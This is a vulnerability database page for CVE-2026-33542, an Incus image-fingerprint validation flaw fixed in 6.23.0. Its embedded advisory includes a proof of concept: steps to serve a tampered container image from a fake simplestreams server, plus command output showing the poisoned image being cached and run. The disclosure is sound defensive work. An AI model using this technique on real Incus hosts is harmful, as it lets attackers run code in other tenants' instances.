Vulnerabilities in pkg:golang/github.com/lxc/incus/v6/client
PACKAGECVE-2026-33542 is a HIGH incus does not verify combined vulnerability (CWE-295: Improper Certificate Validation) affecting Github.com/lxc/incus/v6/client libraries in the Go ecosystem. The issue involves incus does not verify combined fingerprint when downloading images from simplestreams servers. Remediation is available by upgrading affected packages to version 6.23.0.
pkg:golang/github.com/lxc/incus/v6/client
Vulnerability advisories affecting package pkg:golang/github.com/lxc/incus/v6/client. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-p8mm-23gg-jc9r | CVE-2026-33542 | HIGH | Incus does not verify combined fingerprint when downloading images from simplestreams servers |
CVE-2026-33542 at a Glance
How to Fix CVE-2026-33542
To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6/client dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lxc/incus/v6/client to 6.23.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lxc/incus/v6/client
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33542, inspect your project dependencies for Github.com/lxc/incus/v6/client:
inspect dependencies for github.com/lxc/incus/v6/client
Analyze the terminal output to locate any version of Github.com/lxc/incus/v6/client in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.23.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-295: Improper Certificate Validation, where the product does not validate, or incorrectly validates, a certificate. In Github.com/lxc/incus/v6/client, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33542 Affected Github.com/lxc/incus/v6/client Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lxc/incus/v6/client
|
Go |
< 6.23.0
|
6.23.0
|
References
Frequently Asked Questions
What is CVE-2026-33542?
Which Github.com/lxc/incus/v6/client versions are affected?
What version fixes CVE-2026-33542?
Is github.com/lxc/incus/v6/client affected?
What CWE is associated with CVE-2026-33542?
How can I check Go dependencies for CVE-2026-33542?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p8mm-23gg-jc9r",
"modified" : "2026-03-27T17:08:07Z",
"published" : "2026-03-27T17:08:07Z",
"aliases" : [ "CVE-2026-33542" ],
"summary" : "Incus does not verify combined fingerprint when downloading images from simplestreams servers",
"details" : "### Summary\nA lack of validation of the image fingerprint when downloading from simplestreams image servers opens the door to image cache poisoning and under very narrow circumstances exposes other tenants to running attacker controlled images rather than the expected one.\n\n### Details\nIncus image fingerprints are computed as the SHA256 of the concatenated image files.\nWhen downloading from a public image server using a simplestreams index, Incus requires an HTTPS connection and validates the SHA256 of the individual files but is lacking validation that the concatenated hash of the files matches the fingerprint listed in the simplestreams index.\n\nThis missing check allows an attacker with access to an Incus environment lacking suitable image source restrictions (`restricted.image.server` or equivalent firewall rules) to cause Incus to download from an attacker controlled image server which would provide different image files for an other well known image fingerprint.\n\nSuch an attack can be used to poison the global image cache, leading to another user on the system wanting to use the legitimate image to be provided the compromised one instead.\n\nFor this to be successful, the attacker requires:\n\n - Access to an Incus server\n - That server to NOT have been configured with `restricted.image.servers` or an equivalent firewall or HTTP proxy policy\n - Some ability to predict what image may be used by other users in the near future\n - Other users that are actively deploying new Incus instances on the system\n\nHaving to predict what image may be used in the future which doesn't have its legitimate copy already cached on the system (or somewhere within the cluster) makes this attack quite difficult to pull off. It's made even harder by not having any control as to when a given image may be used by another user.\n\nAn example of a somewhat easy target would be a server that's known to run ephemeral instances for Ci or build purposes, as those will get created very frequently and the images they use may be public knowledge, it would be possible to get a compromised image in place with the right timing:\n\n - Monitor the legitimate image server for a new image being published\n - Immediately create a compromised image with the same fingerprint on an attacker controlled image server\n - Get the target Incus environment to download that image BEFORE any legitimate instance creation had the time to pull the legitimate image\n\nBut this again assumes an environment lacking either `restricted.image.servers` or equivalent firewall or proxy policies.\n\n### Mitigation\nAs mentioned above, any server using `restricted.image.servers` in project configuration, as would be strongly recommended in multi-tenant environments will be immune to this attack. As would any server going through equivalent network restriction whether implemented through firewalling or through an HTTP proxy server.\n\nThe updated Incus versions will now validate not just the individual files during download but also that the hash of the concatenated files does match the image fingerprint, fully preventing such an attack in the future.\n\n### PoC\nTo create a PoC, simply download `https://images.linuxcontainers.org/streams/v1/{index,images}.json` and `https://images.linuxcontainers.org/images/DISTRO/RELEASE/ARCH/default/NEWEST/{incus.tar.xz,rootfs.squashfs}` or similar paths, put them in suitable locations in a folder, and then use a server to serve them through https. The TLS certificate used by the server may need to be signed by a trusted CA of the client system.\n\nThen change the content of `rootfs.squashfs` by `unsquashfs`/`mksquashfs`, add one line in `/root/.bashrc`: `echo 'PoC: hacked!'`, and then update corresponding `sha256` and `size` fields for that individual file in `images.json`.\n\nUsing `incus-simplestreams` first and then altering the `combined_xxx` fields should also be OK.\n\nAfter that, check the following commands:\n\n```\n$ incus remote add poc https://TESTSERVER:4443 --protocol simplestreams\n$ incus remote list \n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n| NAME | URL | PROTOCOL | AUTH TYPE | PUBLIC | STATIC | GLOBAL |\n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n| images | https://images.linuxcontainers.org | simplestreams | none | YES | NO | NO |\n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n| local (current) | unix:// | incus | file access | NO | YES | NO |\n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n| poc | https://TESTSERVER:4443 | simplestreams | none | YES | NO | NO |\n+-----------------+------------------------------------+---------------+-------------+--------+--------+--------+\n$ incus image list \n+-------+-------------+--------+-------------+--------------+------+------+-------------+\n| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |\n+-------+-------------+--------+-------------+--------------+------+------+-------------+\n$ incus image list images:debian/trixie -c lFpdasu\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | SIZE | UPLOAD DATE |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13 (7 more) | 8dad70759d54410e4e8ad84164f6a9d8bda3af753a54441365ff1476f065999c | yes | Debian trixie amd64 (20260320_05:24) | x86_64 | 341.13MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13 (7 more) | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | yes | Debian trixie amd64 (20260320_05:24) | x86_64 | 94.70MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/arm64 (3 more) | 41b4f8849cfc8d22a6b9cd86790602a43f67a9ec2c1d7e13a0b3ecf7b7d6663e | yes | Debian trixie arm64 (20260320_05:24) | aarch64 | 339.27MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/arm64 (3 more) | fda543def4b41f65511696ec0350d899dad5374956d18078697f58d1c466bae4 | yes | Debian trixie arm64 (20260320_05:24) | aarch64 | 92.25MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/armhf (3 more) | 77ef0a077759eab7690b1401bfbec78360d2a0462ee89fa3de86b899465adedb | yes | Debian trixie armhf (20260320_05:24) | armv7l | 84.14MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/cloud (3 more) | 2ee3da00ca407ea98e1b84a2d5b1561c0fffb0281b05035e307e5029cdaa5532 | yes | Debian trixie amd64 (20260320_05:24) | x86_64 | 130.17MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/cloud (3 more) | 108ed9a36105c37ba5412a880b5c39653536453189789aa101e46591de620d56 | yes | Debian trixie amd64 (20260320_05:24) | x86_64 | 374.30MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/cloud/arm64 (1 more) | cfb51c473e221b6c8b62a21808bd4f69ca4845108abfb14187fde8b79befbab3 | yes | Debian trixie arm64 (20260320_05:24) | aarch64 | 126.78MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/cloud/arm64 (1 more) | ff2c2c62849d978dfad0cc1df54c0f55881a0edf3b31333c3b2a00413eaee1a5 | yes | Debian trixie arm64 (20260320_05:24) | aarch64 | 371.76MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/cloud/armhf (1 more) | 8eb505d548265e371a3ab0d277f76986f0879e414a6a74af2f975cf3caffc565 | yes | Debian trixie armhf (20260320_05:24) | armv7l | 117.92MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/cloud/riscv64 (1 more) | dab5009031d0d03c8cfebb330a83baf950eb79b8277a5f071e0a81758d17b8b4 | yes | Debian trixie riscv64 (20260320_05:24) | riscv64 | 122.90MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n| debian/13/riscv64 (3 more) | 1fa5c6eaf7f3c107b96625b49bc2e4f00b077d949d349d9e3c412747ec492341 | yes | Debian trixie riscv64 (20260320_05:24) | riscv64 | 87.86MiB | 2026/03/20 08:00 CST |\n+----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+\n$ incus image copy poc:debian/trixie local:\nImage copied successfully! \n$ incus image list -c lFpdasu\n+-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+\n| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | SIZE | UPLOAD DATE |\n+-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+\n| | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | no | Debian trixie amd64 (20260320_05:24) | x86_64 | 105.09MiB | 2026/03/21 00:55 CST |\n+-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+\n$ incus launch images:debian/trixie\nLaunching the instance\nInstance name is: star-mollusk \n$ incus list \n+--------------+---------+------+------------------------------------------------+-----------+-----------+\n| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |\n+--------------+---------+------+------------------------------------------------+-----------+-----------+\n| star-mollusk | RUNNING | | fd42:115a:7a71:9748:1266:6aff:fe1a:d504 (eth0) | CONTAINER | 0 |\n+--------------+---------+------+------------------------------------------------+-----------+-----------+\n$ incus exec star-mollusk bash\nPoC: hacked!\nroot@star-mollusk:~# \nexit\n$ incus image export images:debian/trixie\nImage exported successfully! \n$ cat incus.tar.xz rootfs.squashfs | sha256sum\n945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 -\n$ rm incus.tar.xz rootfs.squashfs\n$ incus image export poc:debian/trixie\nImage exported successfully! \n$ cat incus.tar.xz rootfs.squashfs | sha256sum\nd3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 -\n$ rm incus.tar.xz rootfs.squashfs\n$ incus image export local:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369\nError: Image fingerprint doesn't match. Got d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 expected 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369\n$ incus image export poc:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369\nImage exported successfully! \n$ cat incus.tar.xz rootfs.squashfs | sha256sum\nd3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 -\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:N/SC:H/SI:L/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lxc/incus/v6/client"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "6.23.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/security/advisories/GHSA-p8mm-23gg-jc9r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33542"
}, {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/commit/04e97418189f743411884afb81a3384e6218b8cd"
}, {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/commit/4a80447c52d6bc05d3322feeb5395f581e7a80e4"
}, {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/commit/72688b7d9400c8f3c17ad0f93a7c1aeb89627307"
}, {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/commit/ee26f72524ab60a4abcfd4e52667c52bb24364fc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lxc/incus"
}, {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/releases/tag/v6.23.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-295", "CWE-354" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-27T17:08:07Z",
"nvd_published_at" : "2026-03-26T23:16:20Z"
}
}